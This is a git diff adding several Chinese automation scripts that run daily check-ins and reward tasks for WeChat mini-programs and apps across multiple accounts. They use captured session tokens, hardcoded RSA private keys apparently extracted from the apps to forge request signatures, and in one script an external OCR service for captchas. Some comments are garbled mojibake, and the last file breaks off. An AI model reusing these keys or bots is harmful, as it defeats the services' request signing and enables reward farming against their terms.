(const box of boxList) { + if (Number(box?.status) === 0 || Number(box?.status) === 1) { + const blindBoxId = Number(box?.blindBoxId); + if (!blindBoxId) continue; + const opRes = await this.userOperation(4, { taskId, blindBoxId }); + $.log(`[账号${this.index}] 盲盒(taskId=${taskId}, blindBoxId=${blindBoxId}) 上报: ${opRes?.msg || opRes?.code}`); + await $.wait(500); + } + } + } catch (e) { + $.log(`[账号${this.index}] 盲盒自动化异常(taskId=${taskId}): ${e.message}`); + } + } + encrypt(body) { + + + const PUBLIC_KEY = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCiBksv2xaOJdSWblaTQl93HI393gYHqKFs89EIFBWYSmYSV+z8XXzMO/Xyo8EeWRpAjT5TuBf0wN467aBx3nsDfJd7e3+txBS7nf+S7Nyjnxx2J5AKPWx1gVmr/OF3aWqxg+DPCB7avakhj+p0QjoJ7eMqgJl/HSX2Kfb6/O3J9wIDAQAB"; + const PRIVATE_KEY = "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKIGSy/bFo4l1JZuVpNCX3ccjf3eBgeooWzz0QgUFZhKZhJX7PxdfMw79fKjwR5ZGkCNPlO4F/TA3jrtoHHeewN8l3t7f63EFLud/5Ls3KOfHHYnkAo9bHWBWav84XdparGD4M8IHtq9qSGP6nRCOgnt4yqAmX8dJfYp9vr87cn3AgMBAAECgYEAlwzbB5Bu5LKsEFppZ/wW2ArM7YIRiQ5TACoGFEv1HfcuVaeXDmdxs02rKzwzDEHxUYDcPFyCKPGtvK5QSBgsAUUBHb6uu0fNGUccGX31NRAfLuQ8fj3W0uvkoYlpDARuokDHhWNqWzI6f8bFHkewJwpjXCO8w1WkogTLiX9Gu3ECQQDd5J4jEDS5+7KaohYRoryyX939mzsZ4RC6ufsfzTJwSlnLyYHEbm0Cs+7gbBxRrioqApBMQPIIoa5ujm1C88MNAkEAuu3htlbpR1ZL9b3wUuf3el/D3i/k9XvSChfHQ1q46Y/eck2yEDH9Kv/ZUxEl4fR8mB2MONm9oc2l+chPd9uQEwJBALcWuNU9vgPoB0tIiuUqXoDgUY+80ltcNi2c3/Uxn3jAIK/iKU0nwJMGXQiYrBVJnEjlrKL+w7cTkZZvtwATmtECQC2JV4vQvkFHj3eMzqeTpKDmBVPx/OekQzV8N2l8B0G2b20O6kqxssevzeRDcCQMJ/HyeL88o8pvy3f+yQUcsosCQQDZXV8K7Ek0R/V3dAdUzoetFSlfjCGy9QKPruz7m+iXBASxiA0R7YGfJzc8jWpuv0pxujtB/awy22K/ggLAhkZU"; + + const JAVA_PUBLIC_KEY = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNQpS4ZeHRiIPFIdZgupShTHFlGOqFkT6XEqByvWqt2BvLo3a+YfzyJHOXyfX41OvbIkuIaycuxU9w7RHI1e7F3O7Io+XxncjyU3GR+ae2DEtLaG3o/rtpONF5q1jTN/Spu4GKXsjhHrP9xxMThLF6134NKAyQZfvOms0gS0zmxwIDAQAB" + const JAVA_PRIVATE_KEY = "MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAM1ClLhl4dGIg8Uh1mC6lKFMcWUY6oWRPpcSoHK9aq3YG8ujdr5h/PIkc5fJ9fjU69siS4hrJy7FT3DtEcjV7sXc7sij5fGdyPJTcZH5p7YMS0tobej+u2k40XmrWNM39Km7gYpeyOEes/3HExOEsXrXfg0oDJBl+86azSBLTObHAgMBAAECgYA08JI5CRX4G/SYeIS5SAYjn/qzL3z1XCO/hS9ayJ3mHpH0sMFkkxNRRLOHl7BYMFpwl2TR14kwl/VIU+y9VugRK6Se/gdJ/jwGiMdVkO6tGD7s8TwLcgNjAVbwpZCq40h8dQazzyIsPxyww4AP9fQlo5x3eY9v8icw+U58fj4FcQJBAPk4PPCy54ZHMqSTl4E1z+QzZ51z07PFIbGsT/oAg9GOwFjrPjOTQDEPp3cBeAlKmWdUVAjdGYExwuCw4EkG/XkCQQDS2Cx09pwNwMWIN+u3CVneECXS3iUiRPGJkbliFczwjByk3DnBMW15wGNVtJfsM7YFOIir+hW+QfbCKSBjxTY/AkEArPam9LZ1kO/g6e+0+mwKeGpkwxYcG2v5UoIwj2XEFrBoNk4twUW1C1e99g4C7Q/lH52bJPuuM8gBZEfdoVFEoQJBALZ4CPlsVx973jeGFcPBHvoURXeZcs+WlOY2rBYbwdHHoB54zK7KZPECM7V/Zh8vnW4lP/p9owWVtsTPrM1LZicCQDhgvSmpBy0QoUI+wPS9l+YYuLc2loGoWU97RiFbgKqXBexnSg4UHfU8Ot6N4VbIWEhOZV27P0ktsI3UfjGNS6s=" + + // 鐢熸垚闅忔満涓? + function generateRandomString(length) { + var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; // 鍖呭惈鎵€鏈夊瓧姣嶅拰鏁板瓧鐨勫瓧绗﹂泦鍚? + var result = ''; + + for (var i = 0; i < length; i++) { + var randomIndex = Math.floor(Math.random() * chars.length); // 鑾峰彇闅忔満绱㈠紩鍊? + var charAtIndex = chars[randomIndex]; // 鏍规嵁绱㈠紩鍊间粠瀛楃闆嗗悎涓€夋嫨瀵瑰簲鐨勫瓧绗? + + result += charAtIndex; // 灏嗗瓧绗︽坊鍔犲埌鏈€缁堢粨鏋滀腑 + } + + return result; + } + // 鍙傛暟瀛楀吀琛ㄦ帓搴? + function sortedKeys(obj) { + let keys = Object.keys(obj).sort(); + let res = {} + keys.forEach(key => { + res[key] = obj[key] + }) + return res + } + function generateRsaKeyWithPKCS8() { + const keyPair = JsRsaSign.KEYUTIL.generateKeypair("RSA", 1024); + const privateKey = JsRsaSign.KEYUTIL.getPEM(keyPair.prvKeyObj, "PKCS8PRV"); + const publicKey = JsRsaSign.KEYUTIL.getPEM(keyPair.pubKeyObj); + return { privateKey, publicKey }; + } + const { privateKey, publicKey } = generateRsaKeyWithPKCS8() + + function objToStr(data) { + let str = "" + for (let i in data) { + str += `${i}=${data[i]}&` + } + str = str.slice(0, str.length - 1) + return str + } + // 鐢熸垚绛惧悕 + function getSign(data) { + const signature = new JsRsaSign.KJUR.crypto.Signature({ + alg: "SHA1withRSA", + }); + signature.init("-----BEGIN PRIVATE KEY-----" + PRIVATE_KEY + "-----END PRIVATE KEY-----"); + let sortData = sortedKeys(data) + let str = objToStr(sortData) + signature.updateString(str); + return JsRsaSign.hextob64(signature.sign()); + } + function getKey() { + const encryptor = new JSEncrypt() + encryptor.setPublicKey("-----BEGIN PUBLIC KEY-----" + JAVA_PUBLIC_KEY + "-----END PUBLIC KEY-----") // 璁剧疆鍏挜 + return encryptor + } + + // 鐢熸垚鍔犲瘑 + function entryData(data) { + let encryptor = getKey(); + let str = objToStr(data) + return encryptor.encryptLong(str); // 璋冪敤灏佽鐨勬柟娉? + } + + // 瑙e瘑 + function decrypt(data) { + const encryptor = new JSEncrypt() + encryptor.setPrivateKey(PRIVATE_KEY) + return encryptor.decryptLong(data) + } + let sign = getSign(body) + let timestamp = new Date().getTime() + return entryData({ + sign: sign, + timestamp: timestamp + }) + //from by https://www.heyejk.com/game + + /*const t = body + const { KJUR, hextob64 } = require("jsrsasign") + global['window'] = {} + global['navigator'] = {} + const { JSEncrypt } = require("encryptlong") + const te = "MIICeAIBADANBgkqhkiG9w0BAQEFAASCAmIwggJeAgEAAoGBAKIGSy/bFo4l1JZuVpNCX3ccjf3eBgeooWzz0QgUFZhKZhJX7PxdfMw79fKjwR5ZGkCNPlO4F/TA3jrtoHHeewN8l3t7f63EFLud/5Ls3KOfHHYnkAo9bHWBWav84XdparGD4M8IHtq9qSGP6nRCOgnt4yqAmX8dJfYp9vr87cn3AgMBAAECgYEAlwzbB5Bu5LKsEFppZ/wW2ArM7YIRiQ5TACoGFEv1HfcuVaeXDmdxs02rKzwzDEHxUYDcPFyCKPGtvK5QSBgsAUUBHb6uu0fNGUccGX31NRAfLuQ8fj3W0uvkoYlpDARuokDHhWNqWzI6f8bFHkewJwpjXCO8w1WkogTLiX9Gu3ECQQDd5J4jEDS5+7KaohYRoryyX939mzsZ4RC6ufsfzTJwSlnLyYHEbm0Cs+7gbBxRrioqApBMQPIIoa5ujm1C88MNAkEAuu3htlbpR1ZL9b3wUuf3el/D3i/k9XvSChfHQ1q46Y/eck2yEDH9Kv/ZUxEl4fR8mB2MONm9oc2l+chPd9uQEwJBALcWuNU9vgPoB0tIiuUqXoDgUY+80ltcNi2c3/Uxn3jAIK/iKU0nwJMGXQiYrBVJnEjlrKL+w7cTkZZvtwATmtECQC2JV4vQvkFHj3eMzqeTpKDmBVPx/OekQzV8N2l8B0G2b20O6kqxssevzeRDcCQMJ/HyeL88o8pvy3f+yQUcsosCQQDZXV8K7Ek0R/V3dAdUzoetFSlfjCGy9QKPruz7m+iXBASxiA0R7YGfJzc8jWpuv0pxujtB/awy22K/ggLAhkZU", + ne = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNQpS4ZeHRiIPFIdZgupShTHFlGOqFkT6XEqByvWqt2BvLo3a+YfzyJHOXyfX41OvbIkuIaycuxU9w7RHI1e7F3O7Io+XxncjyU3GR+ae2DEtLaG3o/rtpONF5q1jTN/Spu4GKXsjhHrP9xxMThLF6134NKAyQZfvOms0gS0zmxwIDAQAB"; + let n = le(t) + let o = (new Date).getTime() + return he({ sign: n, timestamp: o }) + function ae(e) { let t = Object.keys(e).sort(), n = {}; return t.forEach(t => { n[t] = e[t] }), n } + function de() { const e = new JSEncrypt(); return e.setPublicKey("-----BEGIN PUBLIC KEY-----" + ne + "-----END PUBLIC KEY-----"), e } + function ce(e) { let t = ""; for (let n in e) t += `${n}=${e[n]}&`; return t = t.slice(0, t.length - 1), t } + function he(e) { let t = de(), n = ce(e); return t.encryptLong(n) } + function le(e) { const t = new KJUR.crypto.Signature({ alg: "SHA1withRSA" }); t.init("-----BEGIN PRIVATE KEY-----" + te + "-----END PRIVATE KEY-----"); let n = ae(e), o = ce(n); return t.updateString(o), hextob64(t.sign()) }*/ + } + +} + +!(async () => { + await getNotice().catch(e => $.log(`[Notice失败] ${e.message}`)) + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(async () => { + try { + await $.done(); + } catch (e) { + console.log(e.message || e); + process.exit(1); + } + }); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} + + + + + + + + + + + + diff --git a/脚本库/微信小程序/抓包版/蓝式宠物/2025-06-28_蓝式宠物_57deb499.py b/脚本库/微信小程序/抓包版/蓝式宠物/2025-06-28_蓝式宠物_57deb499.py new file mode 100644 index 0000000..e504a73 --- /dev/null +++ b/脚本库/微信小程序/抓包版/蓝式宠物/2025-06-28_蓝式宠物_57deb499.py @@ -0,0 +1,155 @@ +# Source: https://gitee.com/jdqlscript/toulu/blob/main/%E8%93%9D%E5%BC%8F%E5%AE%A0%E7%89%A9.py +# Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E8%93%9D%E5%BC%8F%E5%AE%A0%E7%89%A9.py +# Repo: jdqlscript/toulu +# Path: 蓝式宠物.py +# UploadedAt: 2025-06-28T11:18:42+08:00 +# SHA256: 57deb499db66cd7527a32970d8d8967f5eb20047bf7e5cf43e4f8b2a1d1c5013 +# Category: 微信小程序/抓包版 +# Evidence: appid/openid/session_key/encryptedData等小程序字段 + +#入口:蓝氏宠物微信小程序 +#抓包api.vshop.hchiv.cn域名下的authorization值(去掉开头的Bearer)放到环境变量LSCW +import os +import requests +import json +import time + +# 定义获取公告的函数 +def get_proclamation(): + primary_url = "https://github.com/3288588344/toulu/raw/refs/heads/main/tl.txt" + backup_url = "https://tfapi.cn/TL/tl.json" + + try: + response = requests.get(primary_url, timeout=10) + if response.status_code == 200: + print("📢 公告信息") + print("=" * 45) + print(response.text) + print("=" * 45 + "\n") + print("公告获取成功,开始执行任务...\n") + return + except requests.exceptions.RequestException as e: + print(f"获取公告时发生错误: {e}, 尝试备用链接...") + + try: + response = requests.get(backup_url, timeout=10) + if response.status_code == 200: + print("\n" + "=" * 14) + print("📢 公告信息") + print("=" * 45) + print(response.text) + print("=" * 45 + "\n") + print("公告获取成功,开始执行任务...\n") + else: + print(f"⚠️ 获取公告失败,状态码: {response.status_code}") + except requests.exceptions.RequestException as e: + print(f"⚠️ 获取公告时发生错误: {e}, 可能是网络问题或链接无效。") + +# 从环境变量获取 authorization 值,多账号用 & 分割 +def main(): + authorization_values = os.getenv('LSCW') + if authorization_values is None: + print("❌ 未设置账号信息,请添加LSCW环境变量") + return + + authorization_list = authorization_values.split('&') + + # 设置请求的 URL 和参数 + url = "https://api.vshop.hchiv.cn/jfmb/api/play-default/sign/add-sign-new.do" + params = { + "sideType": "3", + "appId": "wxb7a9c0dd9a2fcc53", + "shopNick": "wxb7a9c0dd9a2fcc53", + "guideNo": "", + "securePlatId": "8d8dd596f26a3c933c9f587fe7188228e9fa6b1d10508bad562285ebfb7ee442" + } + + # 设置请求头模板 + headers_template = { + "Host": "api.vshop.hchiv.cn", + "content-type": "application/json", + "appenv": "test", + "charset": "utf-8", + "accept-encoding": "gzip, deflate, br" + } + + # 设置请求体模板 + payload_template = { + "appId": "wxb7a9c0dd9a2fcc53", + "openId": True, + "shopNick": "", + "interfaceSource": 0, + "activityId": "158245" + } + + # 初始化一个计数器,用于给账号编号 + account_counter = 1 + + # 获取当前时间戳(毫秒级别) + current_timestamp = int(time.time() * 1000) + + # 打印开始分隔线 + print('=' * 45) + print(f"开始签到任务,共 {len(authorization_list)} 个账号") + print('=' * 45) + + # 遍历每个账号的 authorization 值 + for auth_value in authorization_list: + print(f"\n🚀 正在处理账号{account_counter}...") + print('=' * 45) + + # 构造请求头 + headers = headers_template.copy() + headers["authorization"] = f"Bearer {auth_value}" + + # 构造请求体,包含动态生成的时间戳 + payload = payload_template.copy() + payload["timestamp"] = current_timestamp # 将当前时间戳添加到请求体 + + # 发送 POST 请求 + try: + response = requests.post(url, params=params, headers=headers, data=json.dumps(payload)) + + # 检查响应状态码 + if response.status_code == 200: + # 解析返回的 JSON 数据 + response_data = response.json() + + # 根据返回的 JSON 数据判断签到结果 + if response_data.get('success') is True: + if response_data.get('data', {}).get('result') == 'success': + # 签到成功,获取能量值 + integral = response_data.get('data', {}).get('integral', 0) + integral_alias = response_data.get('data', {}).get('integralAlias', '') + print(f"🎉 账号{account_counter}签到成功!获得{integral}{integral_alias}") + elif response_data.get('data', {}).get('result') == 'error' and response_data.get('data', {}).get('message') == '已签到': + # 已经签到过 + print(f"🎯 账号{account_counter}今日已签到") + else: + # 其他成功但需要关注的情况 + print(f"⚠️ 账号{account_counter}签到状态不明,请检查返回数据:{response.text}") + else: + # 服务器返回成功为 false + error_message = response_data.get('errorMessage', '未知错误') + print(f"❌ 账号{account_counter}签到失败,错误信息:{error_message}") + + else: + # 服务器返回非 200 状态码 + print(f"❌ 账号{account_counter}签到失败,状态码:{response.status_code}") + print(f"服务器响应内容:{response.text}") + + except requests.exceptions.RequestException as e: + # 捕获请求异常 + print(f"❌ 账号{account_counter}签到失败,错误信息:{e}") + + # 增加计数器 + account_counter += 1 + + # 打印结束分隔线 + print('\n' + '=' * 45) + print("签到任务完成") + print('=' * 45) + +# 执行公告获取函数,再执行签到任务 +get_proclamation() +main() diff --git a/脚本库/微信小程序/抓包版/蜜雪冰城/2026-05-14_mxbc_68b9441a.js b/脚本库/微信小程序/抓包版/蜜雪冰城/2026-05-14_mxbc_68b9441a.js new file mode 100644 index 0000000..f77a12c --- /dev/null +++ b/脚本库/微信小程序/抓包版/蜜雪冰城/2026-05-14_mxbc_68b9441a.js @@ -0,0 +1,314 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/mxbc.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/mxbc.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/mxbc.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 68b9441aeb9c8765dc6ca01576fe2a09c0f6d010563dd65d9061e29e9fcffc93 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 蜜雪冰城APP/小程序 +cron: 30 8 * * * +------------------------------------------ +#Notice: +抓https://mxsa.mxbc.net 请求头Access-Token 多账号&或换行 +变量名:mxbc +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { Env } = require("../tools/env") +const $ = new Env("蜜雪冰城"); +let ckName = `mxbc`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.ck = this.user[0]; + this.activityOrigin = "" + this.activityUrl = "" + } + + async run() { + + await this.user_info() + await this.getLoginUrl() + if (this.activityOrigin) { + await this.getActivityToken() + await this.activityIndex() + } + + } + + async user_info() { + let time = Date.now() + try { + let options = { + url: `https://mxsa.mxbc.net/api/v1/customer/info?appId=d82be6bbc1da11eb9dd000163e122ecb&t=${time}&sign=${this.getSHA256withRSA('appId=d82be6bbc1da11eb9dd000163e122ecb&t=' + time)}`, + headers: { + 'Host': 'mxsa.mxbc.net', + 'Connection': 'keep-alive', + 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 MicroMessenger/7.0.4.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF', + 'xweb_xhr': 1, + 'Access-Token': this.ck, + 'Content-Type': 'application/json', + 'Accept': '*/*', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wx7696c66d2245d107/59/page-frame.html', + 'Accept-Language': 'en-us,en', + 'Accept-Encoding': 'gzip, deflate', + + } + } + let { data: result } = await axios.request(options); + if (result.code == 0) { + $.log(`账号[${this.index}] 用户CK有效: [${result.data.mobilePhone}] 雪王币剩余[${result.data.customerPoint}]`); + this.ckStatus = true + + } else { + $.log(`账号[${this.index}] 用户CK失效:,原因未知!`); + this.ckStatus = false + + console.log(result); + } + } catch (e) { + + } + } + async getLoginUrl() { + try { + let timestamp = Date.now(); + const options = { + method: 'GET', + url: `https://mxsa.mxbc.net/api/v1/duiba/getLoginUrl`, + params: { + "appId": "d82be6bbc1da11eb9dd000163e122ecb", + "t": timestamp, + "sign": this.getSHA256withRSA('appId=d82be6bbc1da11eb9dd000163e122ecb&t=' + timestamp) + }, + headers: { + 'Host': 'mxsa.mxbc.net', + 'Connection': 'keep-alive', + 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 MicroMessenger/7.0.4.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF', + 'xweb_xhr': 1, + 'Access-Token': '' + this.ck, + 'Content-Type': 'application/json', + 'Accept': '*/*', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wx7696c66d2245d107/59/page-frame.html', + 'Accept-Language': 'en-us,en', + 'Accept-Encoding': 'gzip, deflate', + + } + }; + + let { data: res } = await axios.request(options); + if (res?.code == 0) { + this.activityOrigin = new URL(res?.data.loginUrl).origin; + this.activityUrl = res?.data.loginUrl; + return res?.data.loginUrl; + } else { + $.log(`获取跳转Url失败!原因未知!${res.msg}`); + + } + + } catch (e) { + $.log(`❌获取跳转Url失败!原因为${e}`); + } + } + ObjectKeys2LowerCase(e) { return e = Object.fromEntries(Object.entries(e).map((([e, t]) => [e.toLowerCase(), t]))), new Proxy(e, { get: function (e, t, r) { return Reflect.get(e, t.toLowerCase(), r) }, set: function (e, t, r, n) { return Reflect.set(e, t.toLowerCase(), r, n) } }) } + + + //获取活动token + async getActivityToken() { + try { + const opts = { + method: "GET", + url: this.activityUrl, + maxRedirects: 0, + // 关键点 2: 默认 Axios 认为非 2xx 是错误,需定义 302 为合法状态 + validateStatus: function (status) { + return status >= 200 && status < 400; // 允许 302 (或 3xx) 进入 .then + }, + headers: {} + } + let res = await axios.request(opts); + + let headers = this.ObjectKeys2LowerCase(res?.headers); + //对青龙进行兼容 + let session = Array.isArray(headers['set-cookie']) ? [...new Set(headers['set-cookie'])].join("") : headers['set-cookie']; + + let [wdata4, w_ts, _ac, wdata3, dcustom] = session.match(/(wdata4|w_ts|_ac|wdata3|dcustom)=.+?;/g) + this.session = wdata4 + w_ts + _ac + wdata3 + dcustom; + $.log(`✅ 获取活动token成功!`) + + + } catch (e) { + + $.log(`⛔️ 获取活动token失败!${e}`); + } + } + async activityIndex() { + try { + const opts = { + url: this.activityOrigin + "/chome/index", + params: { + from: "login", + spm: "76177.1.1.1" + }, + headers: { + 'Cookie': this.session, + + 'User-Agent': `Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X)mxsa_mxbc`, + } + } + + await axios.request(opts); + $.log(`✅ 访问雪王铺:调用成功!`); + } catch (e) { + + $.log(`⛔️ 访问雪王铺:调用失败!${e}`); + } + } + async task_signin() { + try { + let time = Date.now() + let options = { + url: `https://mxsa.mxbc.net/api/v1/customer/signin?appId=d82be6bbc1da11eb9dd000163e122ecb&t=${time}&sign=${this.getSHA256withRSA('appId=d82be6bbc1da11eb9dd000163e122ecb&t=' + time)}`, + headers: { + 'Host': 'mxsa.mxbc.net', + 'Connection': 'keep-alive', + 'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 MicroMessenger/7.0.4.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF', + 'xweb_xhr': 1, + 'Access-Token': this.ck, + 'Content-Type': 'application/json', + 'Accept': '*/*', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://servicewechat.com/wx7696c66d2245d107/59/page-frame.html', + 'Accept-Language': 'en-us,en', + 'Accept-Encoding': 'gzip, deflate', + + } + } + //console.log(options); + let { data: result } = await axios.request(options); + //console.log(result); + if (result.code == 0) { + $.log(`账号[${this.index}] 签到成功:累计签到 [${result.data.ruleValueGrowth}]天 本次获得[${result.data.ruleValuePoint}]币`); + this.ckStatus = true + + } else { + $.log(`账号[${this.index}] 签到:失败 ❌ 了呢,原因未知!`); + console.log(result); + } + } catch (e) { + console.log(e); + } + } + getSHA256withRSA(content) { + var rs = require("jsrsasign"); + + var privateKeyString = `-----BEGIN PRIVATE KEY----- +MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCtypUdHZJKlQ9L +L6lIJSphnhqjke7HclgWuWDRWvzov30du235cCm13mqJ3zziqLCwstdQkuXo9sOP +Ih94t6nzBHTuqYA1whrUnQrKfv9X4/h3QVkzwT+xWflE+KubJZoe+daLKkDeZjVW +nUku8ov0E5vwADACfntEhAwiSZUALX9UgNDTPbj5ESeII+VztZ/KOFsRHMTfDb1G +IR/dAc1mL5uYbh0h2Fa/fxRPgf7eJOeWGiygesl3CWj0Ue13qwX9PcG7klJXfToI +576MY+A7027a0aZ49QhKnysMGhTdtFCksYG0lwPz3bIR16NvlxNLKanc2h+ILTFQ +bMW/Y3DRAgMBAAECggEBAJGTfX6rE6zX2bzASsu9HhgxKN1VU6/L70/xrtEPp4SL +SpHKO9/S/Y1zpsigr86pQYBx/nxm4KFZewx9p+El7/06AX0djOD7HCB2/+AJq3iC +5NF4cvEwclrsJCqLJqxKPiSuYPGnzji9YvaPwArMb0Ff36KVdaHRMw58kfFys5Y2 +HvDqh4x+sgMUS7kSEQT4YDzCDPlAoEFgF9rlXnh0UVS6pZtvq3cR7pR4A9hvDgX9 +wU6zn1dGdy4MEXIpckuZkhwbqDLmfoHHeJc5RIjRP7WIRh2CodjetgPFE+SV7Sdj +ECmvYJbet4YLg+Qil0OKR9s9S1BbObgcbC9WxUcrTgECgYEA/Yj8BDfxcsPK5ebE +9N2teBFUJuDcHEuM1xp4/tFisoFH90JZJMkVbO19rddAMmdYLTGivWTyPVsM1+9s +tq/NwsFJWHRUiMK7dttGiXuZry+xvq/SAZoitgI8tXdDXMw7368vatr0g6m7ucBK +jZWxSHjK9/KVquVr7BoXFm+YxaECgYEAr3sgVNbr5ovx17YriTqe1FLTLMD5gPrz +ugJj7nypDYY59hLlkrA/TtWbfzE+vfrN3oRIz5OMi9iFk3KXFVJMjGg+M5eO9Y8m +14e791/q1jUuuUH4mc6HttNRNh7TdLg/OGKivE+56LEyFPir45zw/dqwQM3jiwIz +yPz/+bzmfTECgYATxrOhwJtc0FjrReznDMOTMgbWYYPJ0TrTLIVzmvGP6vWqG8rI +S8cYEA5VmQyw4c7G97AyBcW/c3K1BT/9oAj0wA7wj2JoqIfm5YPDBZkfSSEcNqqy +5Ur/13zUytC+VE/3SrrwItQf0QWLn6wxDxQdCw8J+CokgnDAoehbH6lTAQKBgQCE +67T/zpR9279i8CBmIDszBVHkcoALzQtU+H6NpWvATM4WsRWoWUx7AJ56Z+joqtPK +G1WztkYdn/L+TyxWADLvn/6Nwd2N79MyKyScKtGNVFeCCJCwoJp4R/UaE5uErBNn +OH+gOJvPwHj5HavGC5kYENC1Jb+YCiEDu3CB0S6d4QKBgQDGYGEFMZYWqO6+LrfQ +ZNDBLCI2G4+UFP+8ZEuBKy5NkDVqXQhHRbqr9S/OkFu+kEjHLuYSpQsclh6XSDks +5x/hQJNQszLPJoxvGECvz5TN2lJhuyCupS50aGKGqTxKYtiPHpWa8jZyjmanMKnE +dOGyw/X4SFyodv8AEloqd81yGg== +-----END PRIVATE KEY----- +`; + + const key = rs.KEYUTIL.getKey(privateKeyString); + + const signature = new rs.KJUR.crypto.Signature({ alg: "SHA256withRSA" }); + + signature.init(key); + + signature.updateString(content); + + const originSign = signature.sign(); + const sign64u = rs.hextob64u(originSign); + + return sign64u; + + } + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + + for (let user of $.userList) { + await new Task(user).run(); + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); + +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout:3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) {} + +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/西施眼/2025-06-28_西施眼_9132a43e.js b/脚本库/微信小程序/抓包版/西施眼/2025-06-28_西施眼_9132a43e.js new file mode 100644 index 0000000..399a567 --- /dev/null +++ b/脚本库/微信小程序/抓包版/西施眼/2025-06-28_西施眼_9132a43e.js @@ -0,0 +1,641 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E8%A5%BF%E6%96%BD%E7%9C%BC.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E8%A5%BF%E6%96%BD%E7%9C%BC.js +// # Repo: jdqlscript/toulu +// # Path: 西施眼.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 9132a43eb779dedd83898d763fe418ca4edd715e149be0cc053c61c55a4130fd +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/** + * cron "6 8,14,20 * * *" XiShiYan.js + * export XiShiYan="账号1&密码1 账号2&密码2" + * export OCR_SERVER="ocr服务" + 应用市场下载西施眼APP + + 有问题联系3288588344 + 频道:https://pd.qq.com/s/672fku8ge +长期套餐大额流量电话卡办理地址:https://hk.yunhaoka.cn/#/pages/micro_store/index?agent_id=669709 + */ +const $ = new Env('西施眼') +const XiShiYan = ($.isNode() ? process.env.XiShiYan : $.getdata("XiShiYan")) || ''; +const OCR_SERVER = ($.isNode() ? process.env.OCR_SERVER : $.getdata("OCR_SERVER")) || 'https://ddddocr.xzxxn7.live'; +let Utils = undefined; +let signature_key = '' +let notice = '' +let sessionId = '' +let tenantId = '34' +let accountId = '' +let clientId = '50' +let signatureSalt = "FR*r!isE5W" +let phone_number = '' +let password = '' +let ua = '' +let commonUa = '' +let deviceId = '' +let 